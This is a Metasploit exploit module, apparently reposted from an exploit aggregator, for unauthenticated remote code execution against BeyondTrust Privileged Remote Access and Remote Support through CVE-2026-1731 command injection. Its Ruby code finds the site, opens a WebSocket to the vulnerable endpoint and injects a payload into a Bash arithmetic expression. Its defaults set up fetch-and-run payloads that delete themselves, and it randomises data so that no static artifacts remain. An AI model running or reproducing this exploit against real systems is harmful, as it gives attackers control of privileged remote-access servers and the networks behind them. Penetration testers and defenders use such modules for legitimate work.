Share
## https://sploitus.com/exploit?id=PACKETSTORM:216218
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HTTP::Beyondtrust
      include Msf::Exploit::Remote::HttpClient
      include Rex::Proto::Http::WebSocket
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
            'Description' => %q{
              This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
              Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the
              user-selected target.
    
              The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1
              and prior, and PRA versions 24.3.4 and prior.
    
              Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)
              and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.
    
              Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Harsh Jaiswal', # Discovery
              'Jonah Burgess (CryptoCat)' # Module
            ],
            'References' => [
              ['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
              ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
              ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
            ],
            'DisclosureDate' => '2026-02-06',
            'Platform' => [ 'linux', 'unix' ],
            'Arch' => [ARCH_CMD],
            'Privileged' => false, # Executes as the site user.
            'Targets' => [
              [
                'Command Injection', {
                  'Payload' => {
                    'DisableNops' => true,
                    # We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
                    # We must avoid characters that break the subshell or the arithmetic structure.
                    'BadChars' => '[$()]'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true,
              # A writable directory on the target for fetch based payloads to write to.
              'FETCH_WRITABLE_DIR' => '/var/tmp',
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true,
              # By default, a deployed site, like Remote Support, is expected to be located at the root path.
              'URIPATH' => '/'
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_advanced_options(
          [
            OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
            OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
          ]
        )
      end
    
      def check
        version = get_version
        return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?
    
        version = Rex::Version.new(version)
        return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')
    
        CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
      end
    
      def exploit
        # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
        # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
        # establish a WebSocket connection to the target site application. By default, we query the target site to
        # discover this, however a user can manually set either the expected company name or FQDN as a module option.
        site_info = get_site_info
    
        if site_info.nil?
          fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
        end
    
        vprint_status("Company name: #{site_info[:company]}")
        vprint_status("Site FQDN: #{site_info[:server]}")
    
        headers = {
          # This is the vulnerable application which is reachable over a WebSocket to the target site.
          'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
        }
    
        if !site_info[:company].blank?
          print_status("Using company name: #{site_info[:company]}")
    
          headers['X-Ns-Company'] = site_info[:company]
        elsif !site_info[:server].blank?
          print_status("Using site FQDN: #{site_info[:server]}")
    
          headers['Host'] = site_info[:server]
        else
          fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
        end
    
        wsock = connect_ws(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'nw'),
          'headers' => headers
        )
    
        prefix = Rex::Text.rand_text_alpha(rand(1..5))
        suffix = rand(0..5)
    
        wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")
    
        # Complete the sequence with randomized dummy data to avoid static artifacts
        wsock.put_wstext("#{SecureRandom.uuid}\n")     # remoteCookie
        wsock.put_wstext("#{rand(0..2)}\n")            # remoteAuthType (usually 0, 1, or 2)
        wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey
    
        while wsock.has_read_data? datastore['WFSDELAY']
          frame = wsock.get_wsframe
    
          break if frame.nil?
    
          if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
            print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
            break
          end
        end
        wsock.wsclose
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        if e.http_response && !e.http_response.body.blank?
          if e.http_response.body == 'Invalid company or app name'
            print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
          else
            print_error(e.http_response.body)
          end
        end
        fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
      end
    
    end